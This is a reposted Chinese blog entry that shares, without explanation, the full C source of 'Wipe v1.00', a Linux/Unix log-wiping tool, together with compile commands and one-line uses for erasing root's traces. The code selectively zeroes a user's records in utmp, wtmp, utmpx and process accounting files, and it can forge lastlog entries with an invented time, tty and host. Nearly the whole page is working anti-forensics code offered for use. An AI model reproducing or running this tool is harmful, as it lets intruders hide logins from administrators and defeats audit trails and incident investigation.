2
Linux下的擦除工具
source link: https://bajie.dev/posts/20240129-wipe_linux/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Linux下的擦除工具
2024-01-29
4 分钟阅读
Linux下的日志擦除软件,无解释珍藏:
gcc -O3 -DHAVE_LASTLOG_H -DNO_ACCT -o wipe wipe.c
wipe u root #w 命令擦掉在线的root
wipe w root #last 命令擦掉root
wipe l root #lastlog 命令擦掉root登录记录
源码如下:
/*
* Wipe v1.00.
*
* Written by The Crawler.
*
* Selectively wipe system logs.
*
* Usage: wipe [l,u,w] username
* ex: wipe l user;wipe u user;wipe w user
*
* Wipes logs on, but not including, Linux, FreeBSD, Sunos 4.x, Solaris 2.x,
* Ultrix, AIX, IRIX, Digital UNIX, BSDI, NetBSD, HP/UX.
* compile with -DHAVE_LASTLOG_H -DNO_ACCT */
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/uio.h>
#ifndef NO_ACCT
#include <sys/acct.h>
#endif
#include <utmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <pwd.h>
#include <time.h>
#include <stdlib.h>
#ifdef HAVE_LASTLOG_H
#include <lastlog.h>
#endif
#ifdef HAVE_UTMPX
#include <utmpx.h>
#endif
/*
* Try to use the paths out of the include files.
* But if we can't find any, revert to the defaults.
*/
#ifndef UTMP_FILE
#ifdef _PATH_UTMP
#define UTMP_FILE _PATH_UTMP
#else
#define UTMP_FILE "/var/adm/utmp"
#endif
#endif
#ifndef WTMP_FILE
#ifdef _PATH_WTMP
#define WTMP_FILE _PATH_WTMP
#else
#define WTMP_FILE "/var/adm/wtmp"
#endif
#endif
#ifndef LASTLOG_FILE
#ifdef _PATH_LASTLOG
#define LASTLOG_FILE _PATH_LASTLOG
#else
#define LASTLOG_FILE "/var/adm/lastlog"
#endif
#endif
#ifndef ACCT_FILE
#define ACCT_FILE "/var/adm/pacct"
#endif
#ifdef HAVE_UTMPX
#ifndef UTMPX_FILE
#define UTMPX_FILE "/var/adm/utmpx"
#endif
#ifndef WTMPX_FILE
#define WTMPX_FILE "/var/adm/wtmpx"
#endif
#endif /* HAVE_UTMPX */
#define BUFFSIZE 8192
/*
* This function will copy the src file to the dst file.
*/
void
copy_file(char *src, char *dst)
{
int fd1, fd2;
int n;
char buf[BUFFSIZE];
if ( (fd1 = open(src, O_RDONLY)) < 0 ) {
fprintf(stderr, "ERROR: Opening %s during copy.\n", src);
return;
}
if ( (fd2 = open(dst, O_WRONLY | O_CREAT | O_TRUNC)) < 0 ) {
fprintf(stderr, "ERROR: Creating %s during copy.\n", dst);
return;
}
while ( (n = read(fd1, buf, BUFFSIZE)) > 0)
if (write(fd2, buf, n) != n) {
fprintf(stderr, "ERROR: Write error during copy.\n");
return;
}
if (n < 0) {
fprintf(stderr, "ERROR: Read error during copy.\n");
return;
}
close(fd1);
close(fd2);
}
/*
* UTMP editing.
*/
void
wipe_utmp(char *who, char *line)
{
int fd1;
struct utmp ut;
printf("Patching %s .... ", UTMP_FILE);
fflush(stdout);
/*
* Open the utmp file.
*/
if ( (fd1 = open(UTMP_FILE, O_RDWR)) < 0 ) {
fprintf(stderr, "ERROR: Opening %s\n", UTMP_FILE);
return;
}
/*
* Copy utmp file excluding relevent entries.
*/
while ( read(fd1, &ut, sizeof(ut)) > 0)
if ( !strncmp(ut.ut_name, who, strlen(who)) )
if (!line || (line &&
!strncmp(ut.ut_line, line, strlen(line)))) {
bzero((char *) &ut, sizeof(ut));
lseek(fd1, (int) -sizeof(ut), SEEK_CUR);
write(fd1, &ut, sizeof(ut));
}
close(fd1);
printf("Done.\n");
}
/*
* UTMPX editing if supported.
*/
#ifdef HAVE_UTMPX
void
wipe_utmpx(char *who, char *line)
{
int fd1;
struct utmpx utx;
printf("Patching %s .... ", UTMPX_FILE);
fflush(stdout);
/*
* Open the utmp file and temporary file.
*/
if ( (fd1 = open(UTMPX_FILE, O_RDWR)) < 0 ) {
fprintf(stderr, "ERROR: Opening %s\n", UTMPX_FILE);
return;
}
while ( (read(fd1, &utx, sizeof(utx)) ) > 0)
if ( !strncmp(utx.ut_name, who, strlen(who)) )
if (!line || (line &&
!strncmp(utx.ut_line, line, strlen(line)))) {
bzero((char *) &utx, sizeof(utx));
lseek(fd1, (int) -sizeof(utx), SEEK_CUR);
write(fd1, &utx, sizeof(utx));
}
close(fd1);
printf("Done.\n");
}
#endif
/*
* WTMP editing.
*/
void
wipe_wtmp(char *who, char *line)
{
int fd1;
struct utmp ut;
printf("Patching %s .... ", WTMP_FILE);
fflush(stdout);
/*
* Open the wtmp file and temporary file.
*/
if ( (fd1 = open(WTMP_FILE, O_RDWR)) < 0 ) {
fprintf(stderr, "ERROR: Opening %s\n", WTMP_FILE);
return;
}
/*
* Determine offset of last relevent entry.
*/
lseek(fd1, (long) -(sizeof(ut)), SEEK_END);
while ( (read (fd1, &ut, sizeof(ut))) > 0) {
if (!strncmp(ut.ut_name, who, strlen(who)))
if (!line || (line &&
!strncmp(ut.ut_line, line, strlen(line)))) {
bzero((char *) &ut, sizeof(ut));
lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR);
write(fd1, &ut, sizeof(ut));
break;
}
lseek(fd1, (long) -(sizeof(ut) * 2), SEEK_CUR);
}
close(fd1);
printf("Done.\n");
}
/*
* WTMPX editing if supported.
*/
#ifdef HAVE_UTMPX
void
wipe_wtmpx(char *who, char *line)
{
int fd1;
struct utmpx utx;
printf("Patching %s .... ", WTMPX_FILE);
fflush(stdout);
/*
* Open the utmp file and temporary file.
*/
if ( (fd1 = open(WTMPX_FILE, O_RDWR)) < 0 ) {
fprintf(stderr, "ERROR: Opening %s\n", WTMPX_FILE);
return;
}
/*
* Determine offset of last relevent entry.
*/
lseek(fd1, (long) -(sizeof(utx)), SEEK_END);
while ( (read (fd1, &utx, sizeof(utx))) > 0) {
if (!strncmp(utx.ut_name, who, strlen(who)))
if (!line || (line &&
!strncmp(utx.ut_line, line, strlen(line)))) {
bzero((char *) &utx, sizeof(utx));
lseek(fd1, (long) -(sizeof(utx)), SEEK_CUR);
write(fd1, &utx, sizeof(utx));
break;
}
lseek(fd1, (int) -(sizeof(utx) * 2), SEEK_CUR);
}
close(fd1);
printf("Done.\n");
}
#endif
/*
* LASTLOG editing.
*/
void
wipe_lastlog(char *who, char *line, char *timestr, char *host)
{
int fd1;
struct lastlog ll;
struct passwd *pwd;
struct tm *tm;
char str[4];
printf("Patching %s .... ", LASTLOG_FILE);
fflush(stdout);
tm = (struct tm *) malloc( sizeof(struct tm) );
/*
* Open the lastlog file.
*/
if ( (fd1 = open(LASTLOG_FILE, O_RDWR)) < 0 ) {
fprintf(stderr, "ERROR: Opening %s\n", LASTLOG_FILE);
return;
}
if ( (pwd = getpwnam(who)) == NULL) {
fprintf(stderr, "ERROR: Can't find user in passwd.\n");
return;
}
lseek(fd1, (long) pwd->pw_uid * sizeof(struct lastlog), 0);
bzero((char *) &ll, sizeof(ll));
if (line)
strncpy(ll.ll_line, line, strlen(line));
if (timestr) {
/* YYMMddhhmm */
if (strlen(timestr) != 10) {
fprintf(stderr, "ERROR: Time format is YYMMddhhmm.\n");
return;
}
/*
* Extract Times.
*/
str[2] = 0;
str[0] = timestr[0];
str[1] = timestr[1];
tm->tm_year = atoi(str);
str[0] = timestr[2];
str[1] = timestr[3];
tm->tm_mon = atoi(str) - 1;
str[0] = timestr[4];
str[1] = timestr[5];
tm->tm_mday = atoi(str);
str[0] = timestr[6];
str[1] = timestr[7];
tm->tm_hour = atoi(str);
str[0] = timestr[8];
str[1] = timestr[9];
tm->tm_min = atoi(str);
tm->tm_sec = 0;
ll.ll_time = mktime(tm);
}
if (host)
strncpy(ll.ll_host, host, sizeof(ll.ll_host));
write(fd1, (char *) &ll, sizeof(ll));
close(fd1);
printf("Done.\n");
}
#ifndef NO_ACCT
/*
* ACCOUNT editing.
*/
void
wipe_acct(char *who, char *line)
{
int fd1, fd2;
struct acct ac;
char ttyn[50];
struct passwd *pwd;
struct stat sbuf;
char *tmpf;
printf("Patching %s .... ", ACCT_FILE);
fflush(stdout);
/*
* Open the acct file and temporary file.
*/
if ( (fd1 = open(ACCT_FILE, O_RDONLY)) < 0 ) {
fprintf(stderr, "ERROR: Opening %s\n", ACCT_FILE);
return;
}
/*
* Grab a unique temporary filename.
*/
tmpf = tmpnam((char *) NULL);
if ( (fd2 = open(tmpf, O_WRONLY | O_CREAT | O_TRUNC, 600)) < 0 ) {
fprintf(stderr, "ERROR: Opening tmp ACCT file\n");
return;
}
if ( (pwd = getpwnam(who)) == NULL) {
fprintf(stderr, "ERROR: Can't find user in passwd.\n");
return;
}
/*
* Determine tty's device number
*/
strcpy(ttyn, "/dev/");
strcat(ttyn, line);
if (stat(ttyn, &sbuf) < 0) {
fprintf(stderr, "ERROR: Determining tty device number.\n");
return;
}
while ( read(fd1, &ac, sizeof(ac)) > 0 ) {
if ( !(ac.ac_uid == pwd->pw_uid && ac.ac_tty == sbuf.st_rdev) )
write(fd2, &ac, sizeof(ac));
}
close(fd1);
close(fd2);
copy_file(tmpf, ACCT_FILE);
if ( unlink(tmpf) < 0 ) {
fprintf(stderr, "ERROR: Unlinking tmp WTMP file.\n");
return;
}
printf("Done.\n");
}
#endif
void
usage()
{
printf("USAGE: wipe [ u|w|l|a ] ...options...\n");
printf("\n");
printf("UTMP editing:\n");
printf(" Erase all usernames : wipe u [username]\n");
printf(" Erase one username on tty: wipe u [username] [tty]\n");
printf("\n");
printf("WTMP editing:\n");
printf(" Erase last entry for user : wipe w [username]\n");
printf(" Erase last entry on tty : wipe w [username] [tty]\n");
printf("\n");
printf("LASTLOG editing:\n");
printf(" Blank lastlog for user : wipe l [username]\n");
printf(" Alter lastlog entry : wipe l [username] [tty] [time] [host]\n");
printf(" Where [time] is in the format [YYMMddhhmm]\n");
printf("\n");
#ifndef NO_ACCT
printf("ACCT editing:\n");
printf(" Erase acct entries on tty : wipe a [username] [tty]\n");
#endif
exit(1);
}
int
main(int argc, char *argv[])
{
char c;
if (argc < 3)
usage();
/*
* First character of first argument determines which file to edit.
*/
c = toupper(argv[1][0]);
/*
* UTMP editing.
*/
switch (c) {
/* UTMP */
case 'U' :
if (argc == 3)
wipe_utmp(argv[2], (char *) NULL);
if (argc ==4)
wipe_utmp(argv[2], argv[3]);
#ifdef HAVE_UTMPX
if (argc == 3)
wipe_utmpx(argv[2], (char *) NULL);
if (argc == 4)
wipe_utmpx(argv[2], argv[3]);
#endif
break;
/* WTMP */
case 'W' :
if (argc == 3)
wipe_wtmp(argv[2], (char *) NULL);
if (argc == 4)
wipe_wtmp(argv[2], argv[3]);
#ifdef HAVE_UTMPX
if (argc == 3)
wipe_wtmpx(argv[2], (char *) NULL);
if (argc == 4)
wipe_wtmpx(argv[2], argv[3]);
#endif
break;
/* LASTLOG */
case 'L' :
if (argc == 3)
wipe_lastlog(argv[2], (char *) NULL,
(char *) NULL, (char *) NULL);
if (argc == 4)
wipe_lastlog(argv[2], argv[3], (char *) NULL,
(char *) NULL);
if (argc == 5)
wipe_lastlog(argv[2], argv[3], argv[4],
(char *) NULL);
if (argc == 6)
wipe_lastlog(argv[2], argv[3], argv[4],
argv[5]);
break;
#ifndef NO_ACCT
/* ACCT */
case 'A' :
if (argc != 4)
usage();
wipe_acct(argv[2], argv[3]);
break;
#endif
}
return(0);
}
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK